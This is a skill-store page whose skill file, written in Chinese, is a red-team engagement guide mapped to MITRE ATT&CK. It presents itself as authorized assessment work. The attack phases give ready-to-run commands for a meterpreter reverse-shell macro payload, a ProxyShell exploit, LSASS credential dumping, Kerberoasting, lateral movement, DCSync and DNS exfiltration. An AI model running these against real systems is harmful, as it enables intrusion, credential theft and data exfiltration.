La interfaz está localizada; las descripciones y documentos de las Skills se traducen automáticamente con IA a su idioma. El código, los comandos, rutas y términos técnicos se mantienen en el original, y prevalece el documento del autor.
Explorar Skills
Productividad · SKILL.md

conducting-full-scope-red-team-engagement

conducting-full-scope-red-team-engagement

规划并执行全范围红队演练,覆盖从侦察到后渗透的完整攻击链,使用符合 MITRE ATT&CK 的战术技术和程序(TTP),以评估组织的检测和响应能力。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentación de la Skill

GitHub

name: conducting-full-scope-red-team-engagement description: 规划并执行全范围红队演练,覆盖从侦察到后渗透的完整攻击链,使用符合 MITRE ATT&CK 的战术技术和程序(TTP),以评估组织的检测和响应能力。 domain: cybersecurity subdomain: red-teaming tags: [red-team, adversary-emulation, mitre-attack, penetration-testing, offensive-security, purple-team, ttp-mapping] version: "1.0" author: mahipal license: Apache-2.0

执行全范围红队演练

概述

全范围红队演练(Full-Scope Red Team Engagement)模拟真实世界的对手行为,覆盖网络杀伤链(Cyber Kill Chain)的所有阶段——从初始侦察到数据外泄——以评估组织的检测、预防和响应能力。与渗透测试(Penetration Testing)不同,红队行动优先注重隐蔽性、持久化和基于目标的场景,模拟高级持续性威胁(APT)。

前置条件

  • 经高管领导签署的书面授权(交战规则文件)
  • 明确的范围界定,包括在测试范围内/外的系统、升级联系人和紧急停止程序
  • 相关对手组织的威胁情报(如 APT29、FIN7、Lazarus Group)
  • 红队基础设施:C2 服务器、重定向器、钓鱼域名、载荷开发环境
  • 确认符合《计算机欺诈和滥用法》(CFAA)及当地法律的法律审查

演练阶段

阶段一:规划与威胁建模

根据威胁配置文件,将演练映射到特定 MITRE ATT&CK 战术和技术:

杀伤链阶段MITRE ATT&CK 战术示例技术
侦察(Reconnaissance)TA0043T1593 搜索开放网站/域名, T1589 收集受害者身份信息
资源开发TA0042T1583.001 获取基础设施:域名, T1587.001 开发能力:恶意软件
初始访问TA0001T1566.001 鱼叉式钓鱼附件, T1078 有效账户
执行TA0002T1059.001 PowerShell, T1204.002 用户执行:恶意文件
持久化TA0003T1053.005 计划任务, T1547.001 注册表运行键
权限提升TA0004T1068 利用漏洞提权, T1548.002 UAC 绕过
防御规避TA0005T1055 进程注入, T1027 混淆文件
凭据访问TA0006T1003.001 LSASS 内存, T1558.003 Kerberoasting
发现TA0007T1087 账户发现, T1018 远程系统发现
横向移动TA0008T1021.002 SMB/Windows 管理共享, T1550.002 哈希传递
收集TA0009T1560 归档收集数据, T1213 来自信息存储库的数据
数据外泄TA0010T1041 通过 C2 信道外泄, T1048 通过替代协议外泄
影响TA0040T1486 加密数据以影响业务, T1489 停止服务

阶段二:侦察(OSINT)

# 被动 DNS 枚举
amass enum -passive -d target.com -o amass_passive.txt

# 证书透明度日志搜索
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn 员工枚举
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# 技术栈指纹识别
whatweb -v target.com --log-json=whatweb.json

# 泄露数据凭据搜索(已授权)
h8mail -t target.com -o h8mail_results.csv

阶段三:初始访问

红队演练常见的初始访问向量:

鱼叉式钓鱼(T1566.001):

# 生成带宏的载荷
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# 配置 GoPhish 活动
# 配置 SMTP 配置文件、带借口的电子邮件模板和着陆页
gophish --config config.json

外部服务利用(T1190):

# 扫描易受攻击的服务
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# 利用已知 CVE(示例:ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

阶段四:后渗透与横向移动

# 态势感知(T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# 从 LSASS 收集凭据(T1003.001)
# 使用 Havoc C2 内置模块
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting(T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# 通过 WMI 横向移动(T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# 通过 PsExec 横向移动(T1021.002)
psexec.py domain/admin:password@fileserver.target.com

阶段五:目标达成

定义并追求特定目标:

  1. 域控制:获得域管理员访问权限并 DCSync 凭据
  2. 数据外泄:定位并外泄关键数据(如 PII、财务记录)
  3. 业务影响模拟:展示勒索软件部署能力(不实际执行)
  4. 物理访问:门禁卡克隆、尾随跟踪、服务器室访问
# DCSync 攻击(T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm

# 通过 DNS 外泄数据(T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

阶段六:报告与汇报

报告应包含:

  1. 高管摘要:业务影响、风险评级、关键发现
  2. 攻击叙述:带截图和证据的活动时间线
  3. MITRE ATT&CK 映射:使用技术的完整热力图
  4. 发现事项:每个发现的 CVSS 分数、证据和修复建议
  5. 检测差距分析:SOC 检测到的与遗漏的内容对比
  6. 紫队(Purple Team)建议:针对已识别差距的具体检测规则

指标与 KPI

指标描述
平均检测时间(MTTD)从行动到 SOC 检测的平均时间
平均响应时间(MTTR)从检测到遏制的平均时间
TTP 覆盖率已执行技术中被检测到的百分比
目标达成率已完成的预定目标百分比
驻留时间红队维持访问而未被检测到的总时间

工具与框架

  • C2 框架: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
  • 侦察: Amass, Recon-ng, theHarvester, SpiderFoot
  • 利用: Metasploit, Impacket, CrackMapExec, Rubeus
  • 后渗透: Mimikatz, SharpCollection, BOF.NET
  • 报告: PlexTrac, Ghostwriter, Serpico

参考资料

Skills guardadas